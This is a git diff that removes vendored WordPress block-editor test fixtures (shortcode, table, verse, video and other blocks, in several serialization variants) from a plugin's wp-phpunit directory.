          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__separator.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__separator.server.html deleted file mode 100644 index 3e79e262..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__separator.server.html +++ /dev/null @@ -1,3 +0,0 @@ - -
          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__shortcode.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__shortcode.html deleted file mode 100644 index ed4bd892..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__shortcode.html +++ /dev/null @@ -1,3 +0,0 @@ - -[gallery ids="238,338"] - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__shortcode.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__shortcode.json deleted file mode 100644 index 0f1d3e55..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__shortcode.json +++ /dev/null @@ -1,12 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/shortcode", - "isValid": true, - "attributes": { - "text": "[gallery ids=\"238,338\"]" - }, - "innerBlocks": [], - "originalContent": "[gallery ids=\"238,338\"]" - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__shortcode.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__shortcode.parsed.json deleted file mode 100644 index b875770f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__shortcode.parsed.json +++ /dev/null @@ -1,16 +0,0 @@ -[ - { - "blockName": "core/shortcode", - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n[gallery ids=\"238,338\"]\n", - "innerContent": [ "\n[gallery ids=\"238,338\"]\n" ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ "\n" ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__shortcode.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__shortcode.serialized.html deleted file mode 100644 index 293b6983..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__shortcode.serialized.html +++ /dev/null @@ -1,3 +0,0 @@ - -[gallery ids="238,338"] - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__shortcode.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__shortcode.server.html deleted file mode 100644 index eb3661f8..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__shortcode.server.html +++ /dev/null @@ -1,2 +0,0 @@ -

          [gallery ids="238,338"]

          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__spacer.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__spacer.html deleted file mode 100644 index e7c1e256..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__spacer.html +++ /dev/null @@ -1,3 +0,0 @@ - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__spacer.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__spacer.json deleted file mode 100644 index a157520b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__spacer.json +++ /dev/null @@ -1,12 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/spacer", - "isValid": true, - "attributes": { - "height": 100 - }, - "innerBlocks": [], - "originalContent": "
          " - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__spacer.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__spacer.parsed.json deleted file mode 100644 index c3c0938d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__spacer.parsed.json +++ /dev/null @@ -1,16 +0,0 @@ -[ - { - "blockName": "core/spacer", - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n
          \n", - "innerContent": [ "\n
          \n" ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ "\n" ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__spacer.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__spacer.serialized.html deleted file mode 100644 index e7c1e256..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__spacer.serialized.html +++ /dev/null @@ -1,3 +0,0 @@ - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__spacer.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__spacer.server.html deleted file mode 100644 index e0302d2a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__spacer.server.html +++ /dev/null @@ -1,3 +0,0 @@ - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__subhead.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__subhead.html deleted file mode 100644 index 61cf9318..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__subhead.html +++ /dev/null @@ -1,3 +0,0 @@ - -

          This is a subhead.

          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__subhead.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__subhead.json deleted file mode 100644 index a0c58740..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__subhead.json +++ /dev/null @@ -1,12 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/subhead", - "isValid": true, - "attributes": { - "content": "This is a subhead." - }, - "innerBlocks": [], - "originalContent": "

          This is a subhead.

          " - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__subhead.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__subhead.parsed.json deleted file mode 100644 index d88b9ee4..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__subhead.parsed.json +++ /dev/null @@ -1,16 +0,0 @@ -[ - { - "blockName": "core/subhead", - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n

          This is a subhead.

          \n", - "innerContent": [ "\n

          This is a subhead.

          \n" ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ "\n" ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__subhead.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__subhead.serialized.html deleted file mode 100644 index 23468192..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__subhead.serialized.html +++ /dev/null @@ -1,3 +0,0 @@ - -

          This is a subhead.

          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__subhead.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__subhead.server.html deleted file mode 100644 index bddf91f1..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__subhead.server.html +++ /dev/null @@ -1,3 +0,0 @@ - -

          This is a subhead.

          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__table.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__table.html deleted file mode 100644 index b9b41659..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__table.html +++ /dev/null @@ -1,3 +0,0 @@ - -
          VersionMusicianDate
          .70No musician chosen.May 27, 2003
          1.0Miles DavisJanuary 3, 2004
          Lots of versions skipped, see the full list
          4.4Clifford BrownDecember 8, 2015
          4.5Coleman HawkinsApril 12, 2016
          4.6Pepper AdamsAugust 16, 2016
          4.7Sarah VaughanDecember 6, 2016
          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__table.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__table.json deleted file mode 100644 index 7d71d09c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__table.json +++ /dev/null @@ -1,145 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/table", - "isValid": true, - "attributes": { - "hasFixedLayout": false, - "head": [ - { - "cells": [ - { - "content": "Version", - "tag": "th" - }, - { - "content": "Musician", - "tag": "th" - }, - { - "content": "Date", - "tag": "th" - } - ] - } - ], - "body": [ - { - "cells": [ - { - "content": ".70", - "tag": "td" - }, - { - "content": "No musician chosen.", - "tag": "td" - }, - { - "content": "May 27, 2003", - "tag": "td" - } - ] - }, - { - "cells": [ - { - "content": "1.0", - "tag": "td" - }, - { - "content": "Miles Davis", - "tag": "td" - }, - { - "content": "January 3, 2004", - "tag": "td" - } - ] - }, - { - "cells": [ - { - "content": "Lots of versions skipped, see the full list", - "tag": "td" - }, - { - "content": "…", - "tag": "td" - }, - { - "content": "…", - "tag": "td" - } - ] - }, - { - "cells": [ - { - "content": "4.4", - "tag": "td" - }, - { - "content": "Clifford Brown", - "tag": "td" - }, - { - "content": "December 8, 2015", - "tag": "td" - } - ] - }, - { - "cells": [ - { - "content": "4.5", - "tag": "td" - }, - { - "content": "Coleman Hawkins", - "tag": "td" - }, - { - "content": "April 12, 2016", - "tag": "td" - } - ] - }, - { - "cells": [ - { - "content": "4.6", - "tag": "td" - }, - { - "content": "Pepper Adams", - "tag": "td" - }, - { - "content": "August 16, 2016", - "tag": "td" - } - ] - }, - { - "cells": [ - { - "content": "4.7", - "tag": "td" - }, - { - "content": "Sarah Vaughan", - "tag": "td" - }, - { - "content": "December 6, 2016", - "tag": "td" - } - ] - } - ], - "foot": [] - }, - "innerBlocks": [], - "originalContent": "
          VersionMusicianDate
          .70No musician chosen.May 27, 2003
          1.0Miles DavisJanuary 3, 2004
          Lots of versions skipped, see the full list
          4.4Clifford BrownDecember 8, 2015
          4.5Coleman HawkinsApril 12, 2016
          4.6Pepper AdamsAugust 16, 2016
          4.7Sarah VaughanDecember 6, 2016
          " - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__table.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__table.parsed.json deleted file mode 100644 index 7a2d9100..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__table.parsed.json +++ /dev/null @@ -1,16 +0,0 @@ -[ - { - "blockName": "core/table", - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n
          VersionMusicianDate
          .70No musician chosen.May 27, 2003
          1.0Miles DavisJanuary 3, 2004
          Lots of versions skipped, see the full list
          4.4Clifford BrownDecember 8, 2015
          4.5Coleman HawkinsApril 12, 2016
          4.6Pepper AdamsAugust 16, 2016
          4.7Sarah VaughanDecember 6, 2016
          \n", - "innerContent": [ "\n
          VersionMusicianDate
          .70No musician chosen.May 27, 2003
          1.0Miles DavisJanuary 3, 2004
          Lots of versions skipped, see the full list
          4.4Clifford BrownDecember 8, 2015
          4.5Coleman HawkinsApril 12, 2016
          4.6Pepper AdamsAugust 16, 2016
          4.7Sarah VaughanDecember 6, 2016
          \n" ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ "\n" ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__table.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__table.serialized.html deleted file mode 100644 index a791eb14..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__table.serialized.html +++ /dev/null @@ -1,3 +0,0 @@ - -
          VersionMusicianDate
          .70No musician chosen.May 27, 2003
          1.0Miles DavisJanuary 3, 2004
          Lots of versions skipped, see the full list……
          4.4Clifford BrownDecember 8, 2015
          4.5Coleman HawkinsApril 12, 2016
          4.6Pepper AdamsAugust 16, 2016
          4.7Sarah VaughanDecember 6, 2016
          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__table.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__table.server.html deleted file mode 100644 index 561dde6a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__table.server.html +++ /dev/null @@ -1,3 +0,0 @@ - -
          VersionMusicianDate
          .70No musician chosen.May 27, 2003
          1.0Miles DavisJanuary 3, 2004
          Lots of versions skipped, see the full list
          4.4Clifford BrownDecember 8, 2015
          4.5Coleman HawkinsApril 12, 2016
          4.6Pepper AdamsAugust 16, 2016
          4.7Sarah VaughanDecember 6, 2016
          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__text-columns.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__text-columns.html deleted file mode 100644 index a273839c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__text-columns.html +++ /dev/null @@ -1,10 +0,0 @@ - -
          -
          -

          One

          -
          -
          -

          Two

          -
          -
          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__text-columns.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__text-columns.json deleted file mode 100644 index f610db9e..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__text-columns.json +++ /dev/null @@ -1,21 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/text-columns", - "isValid": true, - "attributes": { - "content": [ - { - "children": "One" - }, - { - "children": "Two" - } - ], - "columns": 2, - "width": "center" - }, - "innerBlocks": [], - "originalContent": "
          \n
          \n

          One

          \n
          \n
          \n

          Two

          \n
          \n
          " - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__text-columns.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__text-columns.parsed.json deleted file mode 100644 index 1a7db4e0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__text-columns.parsed.json +++ /dev/null @@ -1,18 +0,0 @@ -[ - { - "blockName": "core/text-columns", - "attrs": { - "width": "center" - }, - "innerBlocks": [], - "innerHTML": "\n
          \n
          \n

          One

          \n
          \n
          \n

          Two

          \n
          \n
          \n", - "innerContent": [ "\n
          \n
          \n

          One

          \n
          \n
          \n

          Two

          \n
          \n
          \n" ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ "\n" ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__text-columns.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__text-columns.serialized.html deleted file mode 100644 index 8ae01efc..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__text-columns.serialized.html +++ /dev/null @@ -1,3 +0,0 @@ - -

          One

          Two

          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__text-columns.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__text-columns.server.html deleted file mode 100644 index 3fcbb7df..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__text-columns.server.html +++ /dev/null @@ -1,10 +0,0 @@ - -
          -
          -

          One

          -
          -
          -

          Two

          -
          -
          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__text__converts-to-paragraph.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__text__converts-to-paragraph.html deleted file mode 100644 index a1d47a56..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__text__converts-to-paragraph.html +++ /dev/null @@ -1,3 +0,0 @@ - -

          This is an old-style text block. Changed to paragraph in #2135.

          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__text__converts-to-paragraph.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__text__converts-to-paragraph.json deleted file mode 100644 index 2f85e75d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__text__converts-to-paragraph.json +++ /dev/null @@ -1,13 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/paragraph", - "isValid": true, - "attributes": { - "content": "This is an old-style text block. Changed to paragraph in #2135.", - "dropCap": false - }, - "innerBlocks": [], - "originalContent": "

          This is an old-style text block. Changed to paragraph in #2135.

          " - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__text__converts-to-paragraph.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__text__converts-to-paragraph.parsed.json deleted file mode 100644 index 75a5ca11..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__text__converts-to-paragraph.parsed.json +++ /dev/null @@ -1,16 +0,0 @@ -[ - { - "blockName": "core/text", - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n

          This is an old-style text block. Changed to paragraph in #2135.

          \n", - "innerContent": [ "\n

          This is an old-style text block. Changed to paragraph in #2135.

          \n" ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ "\n" ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__text__converts-to-paragraph.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__text__converts-to-paragraph.serialized.html deleted file mode 100644 index 61fd699d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__text__converts-to-paragraph.serialized.html +++ /dev/null @@ -1,3 +0,0 @@ - -

          This is an old-style text block. Changed to paragraph in #2135.

          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__text__converts-to-paragraph.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__text__converts-to-paragraph.server.html deleted file mode 100644 index 2907dab5..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__text__converts-to-paragraph.server.html +++ /dev/null @@ -1,3 +0,0 @@ - -

          This is an old-style text block. Changed to paragraph in #2135.

          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__verse.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__verse.html deleted file mode 100644 index 0e6904a8..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__verse.html +++ /dev/null @@ -1,3 +0,0 @@ - -
          A verse…
          And more!
          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__verse.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__verse.json deleted file mode 100644 index 5c6e3d83..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__verse.json +++ /dev/null @@ -1,12 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/verse", - "isValid": true, - "attributes": { - "content": "A verse…
          And more!" - }, - "innerBlocks": [], - "originalContent": "
          A verse…
          And more!
          " - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__verse.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__verse.parsed.json deleted file mode 100644 index 4cccc938..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__verse.parsed.json +++ /dev/null @@ -1,16 +0,0 @@ -[ - { - "blockName": "core/verse", - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n
          A verse…
          And more!
          \n", - "innerContent": [ "\n
          A verse…
          And more!
          \n" ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ "\n" ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__verse.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__verse.serialized.html deleted file mode 100644 index a601b259..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__verse.serialized.html +++ /dev/null @@ -1,3 +0,0 @@ - -
          A verse…
          And more!
          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__verse.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__verse.server.html deleted file mode 100644 index 7903ff84..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__verse.server.html +++ /dev/null @@ -1,3 +0,0 @@ - -
          A verse…
          And more!
          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__video.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__video.html deleted file mode 100644 index dd720ecd..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__video.html +++ /dev/null @@ -1,3 +0,0 @@ - -
          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__video.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__video.json deleted file mode 100644 index e91fd20c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__video.json +++ /dev/null @@ -1,18 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/video", - "isValid": true, - "attributes": { - "autoplay": false, - "caption": "", - "controls": true, - "loop": false, - "muted": false, - "preload": "metadata", - "src": "https://awesome-fake.video/file.mp4" - }, - "innerBlocks": [], - "originalContent": "
          " - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__video.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__video.parsed.json deleted file mode 100644 index e9be9d8a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__video.parsed.json +++ /dev/null @@ -1,16 +0,0 @@ -[ - { - "blockName": "core/video", - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n
          \n", - "innerContent": [ "\n
          \n" ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ "\n" ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__video.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__video.serialized.html deleted file mode 100644 index 48dca62a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__video.serialized.html +++ /dev/null @@ -1,3 +0,0 @@ - -
